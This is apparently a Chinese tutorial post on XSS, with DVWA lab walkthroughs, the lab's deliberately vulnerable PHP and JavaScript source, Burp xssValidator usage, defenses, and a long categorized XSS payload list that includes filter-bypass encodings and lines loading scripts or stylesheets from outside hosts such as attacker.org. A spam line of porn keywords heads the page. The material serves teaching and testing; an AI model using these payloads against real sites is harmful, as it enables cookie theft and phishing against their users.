日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

XSS原理dvwaxssvalidator使用

發(fā)布時(shí)間:2024/1/8 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS原理dvwaxssvalidator使用 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

滲透COP之XSS原理&測(cè)試案例

1.什么是XSS

跨站腳本(Cross Site ScriptingXSS)是一種經(jīng)常出現(xiàn)在web應(yīng)用程序中的計(jì)算機(jī)安全漏洞。攻擊者利用網(wǎng)站漏洞把惡意的代碼注入到網(wǎng)頁(yè)之中。當(dāng)其他用戶瀏覽到這些網(wǎng)頁(yè)后,就會(huì)執(zhí)行其中的惡意代碼,對(duì)受害用戶可能采取cookie資料截取、會(huì)話劫持、釣魚欺騙等各種攻擊。

Cross Site Scripting, 安全專家們通常將其縮寫成XSS,原本應(yīng)當(dāng)是css,但為了和層疊樣式表(Cascading Style Sheet,CSS )有所區(qū)分,故稱XSS

XSS實(shí)質(zhì)是HTML代碼與javascript代碼的注入。

在測(cè)試團(tuán)隊(duì)發(fā)現(xiàn)漏洞類型中,XSS的發(fā)現(xiàn)率名列前四,是常見(jiàn)的漏洞類型。

常見(jiàn)的 XSS 攻擊有三種:反射型XSS攻擊、DOM-based 型XXS攻擊以及存儲(chǔ)型XSS攻擊。

1.1反射型XSS攻擊

1.1.1解釋

反射型跨站腳本也稱作非持久型、參數(shù)型跨站腳本。這種類型的跨站腳本是最常見(jiàn)的,也是使用最廣的一種,主要用于將惡意腳本附加到URL地址的參數(shù)中,例如:

http://www.test.com/search.php?key=”><script>alter(“XSS”)</script>

http://www.test.com/logout.asp?out=1&ur1=javascript:alert(document.cookie)

反射型XSS的利用一般是攻擊者通過(guò)特定手法(比如利用電子郵件),誘惑用戶去訪問(wèn)一個(gè)包含惡意代碼的URL,當(dāng)受害者單擊這些專門設(shè)計(jì)的鏈接的時(shí)候,惡意JavaScript代碼會(huì)直接在受害者主機(jī)上的瀏覽器執(zhí)行。它的特點(diǎn)是只在用戶單擊時(shí)觸發(fā),而且只執(zhí)行一次,非持久化,所以稱為反射型跨站式腳本。

反射型XSS的攻擊流程如圖所示:

此類XSS通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登入口等地方,常用來(lái)竊取客戶端Cookies或進(jìn)行釣魚欺騙。

如下為反射型XSS的一個(gè)案例:當(dāng)在該網(wǎng)站的姓名提交框內(nèi)輸入惡意的JavaScript腳本時(shí),點(diǎn)擊提交按鈕,便出現(xiàn)了反射型XSS攻擊,如圖所示:

1.1.2通關(guān)記錄

難度低:

<script>alert(/xss/)</script>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

難度中:

大小寫繞過(guò)

<ScRipt>alert(/xss/);</ScRipt>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert%28%2Fxss%2F%29%3B%3C%2FScRipt%3E#

雙寫繞過(guò)

<scr<script>ipt>alert(/xss/);</script>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cscr%3Cscript%3Eipt%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E#

難度高:

其他標(biāo)簽

<img src=1 οnerrοr=alert(/xss/)>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#

編碼后的其他標(biāo)簽

<img src=1 οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Deval%28%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx28%5Cx27%5Cx78%5Cx73%5Cx73%5Cx27%5Cx29%22%29%3E%3C%2Fimg%3E#

其他標(biāo)簽

<iframe οnlοad=alert(/xss/)>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Ciframe+onload%3Dalert%28%2Fxss%2F%29%3E#

編碼后的其他標(biāo)簽

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

http://192.168.56.115/DVWA-master/vulnerabilities/xss_r/?name=%3Cobject+data%3D%22data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4%3D%22%3E%3C%2Fobject%3E#

1.1.3相關(guān)代碼(DVWA-master\vulnerabilities\xss_r\source):

難度低

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Feedback for end user

$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?>

難度中

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Get input

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user

$html .= "<pre>Hello ${name}</pre>";

}

?>

難度高

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Get input

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i',?'', $_GET[ 'name' ] );

// Feedback for end user

$html .= "<pre>Hello ${name}</pre>";

}

?>

難度為不可能

<?php

// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

????// Check Anti-CSRF token

????checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

????// Get input

????$name = htmlspecialchars( $_GET[ 'name' ] );

????// Feedback for end user

????echo "<pre>Hello ${name}</pre>";

}

// Generate Anti-CSRF tokengenerateSessionToken();

?>

PHP htmlspecialchars()函數(shù)把預(yù)定義的字符轉(zhuǎn)換為HTML實(shí)體:

& (和號(hào))成為 &" (雙引號(hào))成為 "

' (單引號(hào))成為 '//生效需要加 ENT_QUOTES 參數(shù)

< (小于)成為 <

> (大于)成為 >

1.2存儲(chǔ)型XSS攻擊

1.2.1解釋

存儲(chǔ)型跨站腳本,比反射型跨站腳本更具威脅性,并且可能影響到Web服務(wù)器自身的安全。

此類XSS不需要用戶單擊特定的URL就能執(zhí)行跨站腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲(chǔ)到漏洞服務(wù)器中,只要受害者瀏覽包含此惡意JavaScript代碼的頁(yè)面就會(huì)執(zhí)行惡意代碼。

存儲(chǔ)型XSS的攻擊流程如圖所示:

持久型XSS一般出現(xiàn)在網(wǎng)站的留言、評(píng)論。博客日志等交互處,惡意腳本被存儲(chǔ)到客戶端或者服務(wù)器的數(shù)據(jù)庫(kù)中,當(dāng)其他用戶瀏覽該網(wǎng)頁(yè)時(shí),站點(diǎn)即從數(shù)據(jù)庫(kù)中讀取惡意用戶存入的非法數(shù)據(jù),然后顯示在頁(yè)面中,即在受害者主機(jī)上的瀏覽器執(zhí)行惡意代碼。

如下為存儲(chǔ)型XSS的一個(gè)案例:當(dāng)攻擊者在留言框內(nèi)輸入惡意JavaScript代碼并提交后,其他用戶再瀏覽這個(gè)頁(yè)面時(shí),就會(huì)發(fā)生存儲(chǔ)型XSS攻擊,如圖所示:

存儲(chǔ)型XSS不需要用戶去單擊URL進(jìn)行觸發(fā),所以他的危害比反射型XSS大,黑客可以利用它滲透網(wǎng)站、掛馬、釣魚……

1.2.2通關(guān)記錄

簡(jiǎn)單:

<script>alert(/xss/)</script>

中等:

大小寫繞過(guò)

<ScRipt>alert(/xss/);</ScRipt>

雙寫繞過(guò)

<scr<script>ipt>alert(/xss/);</script>

難:

其他標(biāo)簽

<img src=1 οnerrοr=alert(/xss/)>

1.2.3相關(guān)代碼(DVWA-master\vulnerabilities\xss_r\source):

難度低

trim(string,charlist) 函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符,預(yù)定義字符包括\0、\t、\n、\x0B、\r以及空格,可選參數(shù)charlist支持添加額外需要?jiǎng)h除的字符。'

mysqli_real_escape_string(string,connection) 函數(shù)會(huì)對(duì)字符串中的特殊符號(hào)(\x00,\n,\r,\,',",\x1a)進(jìn)行轉(zhuǎn)義。

stripslashes(string) 函數(shù)刪除字符串中的反斜杠。

難度中

strip_tags()函數(shù)剝?nèi)プ址械腍TML、XML以及PHP的標(biāo)簽,但允許使用<b>標(biāo)簽。

addslashes()函數(shù)返回在預(yù)定義字符(單引號(hào)、雙引號(hào)、反斜杠、NULL)之前添加反斜杠的字符串。

難度高

難度不可能

1.3DOM-based 型XSS攻擊

1.3.1解釋

DOM—based XSS漏洞是基于文檔對(duì)象模型Document Objeet Model,DOM)的一種漏洞。DOM是一個(gè)與平臺(tái)、編程語(yǔ)言無(wú)關(guān)的接口,它允許程序或腳本動(dòng)態(tài)地訪問(wèn)和更新文檔內(nèi)容、結(jié)構(gòu)和樣式,處理后的結(jié)果能夠成為顯示頁(yè)面的一部分。DOM中有很多對(duì)象,其中一些是用戶可以操縱的,如uRI,location,refelTer等。客戶端的腳本程序可以通過(guò)DOM動(dòng)態(tài)地檢查和修改頁(yè)面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒(méi)有經(jīng)過(guò)嚴(yán)格確認(rèn),就會(huì)產(chǎn)生DOM—based XSS漏洞。

DVWA練習(xí)環(huán)境“易”“中”“難”練習(xí)過(guò)程記錄:

1.3.2通關(guān)記錄

簡(jiǎn)單:

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

中等:

發(fā)現(xiàn)過(guò)濾了?<script?”于是嘗試

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=<img src=1 onerror-alert('hack')>

發(fā)現(xiàn)沒(méi)有閉合,于是嘗試

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')>

發(fā)現(xiàn)沒(méi)有完全閉合,于是

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=></option></select><img src=1 οnerrοr=alert('hack')>

難:91

http://192.168.56.115/DVWA-master/vulnerabilities/xss_d/?default=#<script>alert(/hack/)</script>

1.3.4相關(guān)代碼(DVWA-master\vulnerabilities\xss_d\source):

頁(yè)面源代碼

<div class="vulnerable_code_area">

? <p>Please choose a language:</p>

<form name="XSS" method="GET">

<select name="default">

<script>

if (document.location.href.indexOf("default=") >= 0) {

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

document.write("<option value='' disabled='disabled'>----</option>");

}

????

document.write("<option value='English'>English</option>");

document.write("<option value='French'>French</option>");

document.write("<option value='Spanish'>Spanish</option>");

document.write("<option value='German'>German</option>");

</script>

</select>

<input type="submit" value="Select" />

</form>

</div>

判斷 ?"default=" 是否存在

取出 default 的值 ?并 賦值給變量lang

寫入<option value='"lang"'>"decodeURL(lang)</option>

document表示的是一個(gè)文檔對(duì)象,window.location.href 當(dāng)前頁(yè)面完整 URL。 indexOf() 方法可返回某個(gè)指定的字符串值在字符串中首次出現(xiàn)的位置。

substring() 方法用于提取字符串中介于兩個(gè)指定下標(biāo)之間的字符。如果少后參數(shù)那么返回的子串會(huì)一直到字符串的結(jié)尾。

document.write是JavaScript中對(duì)document.open所開啟的文檔流(document stream操作的API方法,它能夠直接在文檔流中寫入字符串,一旦文檔流已經(jīng)關(guān)閉,那document.write就會(huì)重新利用document.open打開新的文檔流并寫入,此時(shí)原來(lái)的文檔流會(huì)被清空,已渲染好的頁(yè)面就會(huì)被清除,瀏覽器將重新構(gòu)建DOM并渲染新的頁(yè)面。

難度低

<?php

# No protections, anything goes

?>

難度中

服務(wù)端代碼

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

$default = $_GET['default'];

# Do not allow script tags

if (stripos ($default, "<script") !== false) {

header ("location: ?default=English");

exit;

}

}

?>

頁(yè)面源代碼

select標(biāo)簽里面的option標(biāo)簽可以嵌套其它標(biāo)簽,但審查元素會(huì)發(fā)現(xiàn)標(biāo)簽被剔除了,只顯示了標(biāo)簽里面的文本

  不能的原因,網(wǎng)上找到一個(gè)解釋:

option標(biāo)簽在網(wǎng)頁(yè)中并沒(méi)有直接顯示,而是作為下拉框的選項(xiàng)內(nèi)容之一,

其樣式是由當(dāng)前瀏覽器決定的,所以option標(biāo)簽之間只會(huì)有文本內(nèi)容

難度高

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages

switch ($_GET['default']) {

case "French":

case "English":

case "German":

case "Spanish":

# ok

break;

default:

header ("location: ?default=English");

exit;

}

}

?>

難度不可能

<?php

# Don't need to do anything, protction handled on the client side

?>

頁(yè)面源代碼

2.常見(jiàn)手工測(cè)試思路

1.測(cè)試所有可控輸入點(diǎn)

XSS本身并不難防御,但是程序員總是有意想不到的輸入點(diǎn)。“GET請(qǐng)求”要重點(diǎn)關(guān)注。

2.直接上常見(jiàn)的payload

XSS漏洞歷史久遠(yuǎn),網(wǎng)上有很多很好用的payload,可以拿來(lái)直接用。

反射型xss:<script>alert(1)</script>

DOM型xss:<img src=123 οnerrοr=alert(123)>

3.嘗試特殊字符

例如:< > ??/ <!-- -->

4.對(duì)常見(jiàn)payload編碼后使用

針對(duì) <script>alert(1)</script>

URL編碼

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e

HTML實(shí)體編碼

<script>alert(1)</script>

BASE64編碼

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Unicode 編碼

3.XSS檢測(cè)工具的使用

3.1burpsuite擴(kuò)展工具之xssValidator

安裝和使用方法

https://blog.csdn.net/u013175604/article/details/84841268

3.1.1安裝xssValidator必備三件套

檢查是否安裝有Phantomjs,是下載xss.js

Extender 里BAppstore 點(diǎn)擊install xssValidator

3.1.2使用xssValidator基本方法

使用該工具演示下使用的過(guò)程。

步驟一:

Cmd下執(zhí)行xss.js 打開監(jiān)聽

步驟二:

抓一個(gè)數(shù)據(jù)包,送到intruder。然后在intruder的payloads做如下設(shè)置,選擇擴(kuò)展里面的xssvalitor。

鑒于如上方法使用效果一直不太好。我一般喜歡把下面幾個(gè)payload的關(guān)鍵詞直接導(dǎo)入到Grep-Match。

步驟三:

點(diǎn)擊start attack,對(duì)result里的Grep-Match排序。對(duì)關(guān)鍵詞打鉤和響應(yīng)字體標(biāo)色的行作為重點(diǎn)關(guān)注對(duì)象注意觀察cmd窗口,是否有測(cè)試HTTP包快速打印。

3.1.3使用xssValidator測(cè)試結(jié)果

3.1.3.1用DVWA(ref-mid)做XSS檢測(cè)結(jié)果:

3.2xssValidator使用體會(huì):

目前本組近期所有滲透測(cè)試出來(lái)的XSS問(wèn)題,burpsuite scanner 和xssValidator兩種方法都是可以找到的。burpsuite scanner因?yàn)榕繖z查速度快,我使用的更多。未有發(fā)現(xiàn)xssValidator更優(yōu)越的例子。但是xssValidator和intruder是結(jié)合一起用的,可定制化更強(qiáng)。

XSS漏洞的測(cè)試手工必不可少,工具只是輔助。

4.XSS防御主要方法

XSS 存在的根本原因是,對(duì)URL中的參數(shù),對(duì)用戶輸入提交給web server的內(nèi)容,沒(méi)有進(jìn)行充分的過(guò)濾。如果我們能夠在web程序中,對(duì)用戶提交的URL中的參數(shù),和提交的所有內(nèi)容,進(jìn)行充分的過(guò)濾,將所有的不合法的參數(shù)和輸入內(nèi)容過(guò)濾掉,那么就不會(huì)導(dǎo)致“在用戶的瀏覽器中執(zhí)行攻擊者自己定制的腳本”。

但是,其實(shí)充分而完全的過(guò)濾,實(shí)際上是無(wú)法實(shí)現(xiàn)的。因?yàn)楣粽哂懈鞣N各樣的神奇的,你完全想象不到的方式來(lái)繞過(guò)服務(wù)器端的過(guò)濾,最典型的就是對(duì)URL和參數(shù)進(jìn)行各種的編碼,比如escape, encodeURI, encodeURIComponent, 16進(jìn)制,10進(jìn)制,8進(jìn)制,來(lái)繞過(guò)XSS過(guò)濾。那么我們?nèi)绾蝸?lái)防御XSS呢?

使用XSS Filter

對(duì)用戶提交的信息進(jìn)行有效的驗(yàn)證,僅接受指定長(zhǎng)度范圍內(nèi)的,采用適當(dāng)格式的內(nèi)容提交,阻止或者忽略此外的其他任何數(shù)據(jù)。此外,還需過(guò)濾有效的和凈化有害的輸入。

例如:

表單數(shù)據(jù)指定值的類型:年齡只能是 int 、name 只能是字母數(shù)字等。

過(guò)濾或移除特殊的 html 標(biāo)簽:<script>、<iframe>等。

過(guò)濾 js 事件的標(biāo)簽:onclick、onerror、onfocus等。

對(duì)輸出進(jìn)行編碼

在輸出數(shù)據(jù)之前對(duì)潛在的威脅的字符進(jìn)行編碼、轉(zhuǎn)義是防御XSS攻擊十分有效的措施。如果使用好的話,理論上是可以防御住所有的XSS攻擊的。

對(duì)所有要?jiǎng)討B(tài)輸出到頁(yè)面的內(nèi)容,通通進(jìn)行相關(guān)的編碼和轉(zhuǎn)義。當(dāng)然轉(zhuǎn)義是按照其輸出的上下文環(huán)境來(lái)決定如何轉(zhuǎn)義的。

a)作為body文本輸出,作為html標(biāo)簽的屬性輸出:

比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>

<input type="text" value="${username}" />

此時(shí)的轉(zhuǎn)義規(guī)則如下:

< 轉(zhuǎn)成 <

> 轉(zhuǎn)成 >

& 轉(zhuǎn)成 &

" 轉(zhuǎn)成 "

' 轉(zhuǎn)成 '

b) javascript事件

<input type="button" οnclick='go_to_url("${myUrl}");' />

除了上面的那些轉(zhuǎn)義之外,還要附加上下面的轉(zhuǎn)義:

\ 轉(zhuǎn)成 \\

/ 轉(zhuǎn)成 \/

; 轉(zhuǎn)成 ;(全角;)

c)?URL屬性

如果 <script>, <style>, <imt> 等標(biāo)簽的 src 和 href 屬性值為動(dòng)態(tài)內(nèi)容,那么要確保這些url沒(méi)有執(zhí)行惡意連接。

確保:href 和 src 的值必須以 http://開頭,白名單方式;不能有10進(jìn)制和16進(jìn)制編碼字符。

使用Http Only cookie

許多 XSS 攻擊的目的就是為了獲取用戶的cookie,將重要的 cookie 標(biāo)記為http only,這樣的話當(dāng)瀏覽器向服務(wù)端發(fā)起請(qǐng)求時(shí)就會(huì)帶上cookie字段,但是在腳本中卻不能訪問(wèn) cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie。

5.XSS payload大全

收集的一些XSS payload,主要分為五大類,便于查閱。

第一類:Javascript URL

<a href="javascript:alert('test')">link</a>

<a href="javascript:alert('xss')">link</a>

<a href='vbscript:MsgBox("XSS")'>link</a>

<a href="vbscript:alert(1)">Hello</a>

<a href="vbscript:alert(1)">Hello</a>

<a href=javascript:alert("XSS")>link</a>

<a href=`javascript:alert("RSnake says,'XSS'")`>link</a>

<a href=javascript:alert(String.fromCharCode(88,83,83))>link</a>

<a href="javascript:alert(1)">link</a>

<a href="javaSCRIPT:alert(1)">Hello</a>

<a href="javasc ript:alert(1)">link</a>

<a href="javas cript:\u0061lert(1);">Hello</a>

<a href="jav ???ascript:alert('XSS')">link</a>

<a href="jav ascript:alert('XSS')">link</a>

<a href="jav ascript:alert('XSS')">link</a>

<a href=" ?javascript:alert('XSS');">link</a>

<a href="javascript:\u0061lert(1)">Hello</a>

<a href="javascript:confirm`1`">link</a>

<a href="javascript:confirm(1)">link</a>

<a href="j a vas c r ipt:alert(1)">1</a>

<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>

<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>

<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>

<a href=javascript:eval("alert('xss')")>link</a> ?

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>link</a>

<a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>link</a>

<a href=javascript:alert('XSS')>link</a>

<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a>

<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

第二類:CSS import

<style>@import url("http://attacker.org/malicious.css");</style>

<style>@imp\ort url("http://attacker.org/malicious.css");</style>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<STYLE>@import'http://jb51.net/xss.css';</STYLE>
?

第三類:Inline style

<div style="color: expression(alert('XSS'))">

<div style=color:expression\(alert(1))></div>

<div style="color: '<'; color: expression(alert('XSS'))">

<div style=X:expression(alert(/xss/))>

<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">

<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">

<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<div style="z:exp/*anything*/res/*here*/sion(alert(1))">

<div style=xss:expr/*XSS*/ession(alert('XSS'))>

</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>

</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.baidu.com")>

<img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6 ?

<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">

<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

第四類:JavaScript 事件

<div οnclick="alert('xss')">

<div οnmοuseenter="alert('xss')">

<div onclick ="alert('xss')">

<BODY ONLOAD=alert('XSS')>

<img src=1 οnerrοr=alert(1)>

<img/src='1'/οnerrοr=alert(0)>

<img src="1"?οnerrοr="alert(1)"?/>

<img src=1?alt=al lang=ert οnerrοr=top[alt+lang](0)>

<img src="1"?οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

<img src=1?οnmοuseοver=alert('xss') a1=1111>

<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>

<a href="#"?οnclick=alert('\170\163\163')>test</a>

<a href="#"?οnclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a>

<a href="#"?οnclick="\u0061\u006C\u0065\u0072\u0074`a`">link</a>

<a href="#"?οnclick="alert('xss')">link</a>

<marquee οnscrοll=alert(1)> test</marquee>

<div ?style="width:100px;height:100px;overflow:scroll"?οnscrοll="alert('a')">123456?<br/><br/><br/><br/><br/></div>

<DIV onmousewheel="alert('a')"?>123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>

<div style="background-color:red"?οnmοuseenter="alert('a')">123456</div>

<DIV οnmοuseleave="alert('1')">123456</DIV>

<div contentEditable="true"?style="background-color:red"?οnfοcusin="alert('a')"?>asdf</div>

<div contentEditable="true"?style="background-color:red"?οnfοcusοut="alert('bem')"?>asdf</div>

<marquee onstart="alert('a')"?>asdf</marquee>

<div style="background-color:red;"?onbeforecopy="alert('a')"?>asdf</div>

<div style="background-color:red;"?onbeforecut="alert('a')"?>asdf</div>

<div style="background-color:red;"?contentEditable="true"?onbeforeeditfocus="alert('a')"?>asdf</div>

<div style="background-color:red;"?="true"?onbeforepaste="alert('a')"?>asdf</div>

<div style="background-color:red;"?οncοntextmenu="alert('a')"?>asdf</div>

<div style="background-color:red;"?οncοpy="alert('a')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?oncut="alert('a')"?>asdf</div>

<div style="background-color:red;"?οndrag="alert('1')"?>asdf</div>

<div style="background-color:red;"?οndragend="alert('a')"?>asdf</div>

<div style="background-color:red;"?οndragenter="alert('b')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?οndragleave="alert('a')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?οndragοver="alert('b')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?οndragstart="alert('a')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?οndrοp="alert('b')"?>asdf</div> <div contentEditable="true"?style="background-color:green;"?οndrοp="alert('bem')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?onlosecapture="alert('b')">asdf</div>

<div contentEditable="true"?style="background-color:red;"?οnpaste="alert('a')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?onselectstart="alert('a')"?>asdf</div>

<div contentEditable="true"?style="background-color:red;"?onhelp="alert('a')"?>asdf</div>

<div STYLE="background-color:red;behavior:url('#default#time2')"?onEnd="alert('a')">asdf</div>

<div STYLE="background-color:red;behavior:url('#default#time2')"?onBegin="alert('a')">asdf</div>

<div contentEditable="true"?STYLE="background-color:red;"?onactivate="alert('b')">asdf</div>

<div contentEditable="true"?STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div>

<div contentEditable="true"?onbeforeactivate="alert('b')">asdf</div>

<div contentEditable="true"?onbeforedeactivate="alert('a')">asdf</div>

<div contentEditable="true"?ondeactivate="alert('bem')">asdf</div>

<video src="http://www.w3schools.com/html5/movie.ogg"?onloadedmetadata="alert(1)"?/>

<video src="http://www.w3schools.com/html5/movie.ogg"?οnlοadstart="alert(1)"?/>

<audio src="http://www.w3schools.com/html5/movie.ogg"?οnlοadstart="alert(1)">

<audio src="http://www.w3schools.com/html5/movie.ogg"?οnlοadstart="alert(1)"></audio>

<body οnscrοll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

<input type="hidden"?accesskey="X"?οnclick="alert(/xss/)">

第五類:Script 標(biāo)簽

<script src="http://baidu.com"></script>

<script>alert("XSS")</script>

<scr<script>ipt>alert("XSS")</scr<script>ipt>

<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>

<script>alert(/1/.source)</script>

<script>alert(1);</script>

<script>prompt(1);</script>

<script>confirm(1);</script>

<script>alert(/88199/)</script>

<script>alert(`a`)</script>

<script>alert('a')</script>

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<script>eval(alert(1))</script>

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script>setTimeout(alert(1),0)</script>

<script>setTimeout`alert\x28\x27 xss \x27\x29`</script>

<script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script src=data:text/javascript,alert(1)></script>

<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>

<script>\u0061\u006C\u0065\u0072\u0074(123)</script>

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

<script>\u0061\u006C\u0065\u0072\u0074`a`</script>

<script>window['alert'](0)</script>

<script>parent['alert'](1)</script>

<script>self['alert'](2)</script>

<script>top['alert'](3)</script>

<!--[if]><script>alert(1)</script ????-->

<script>alert("xss");;;;;;;;;;;;;;;;; ???;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>

<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

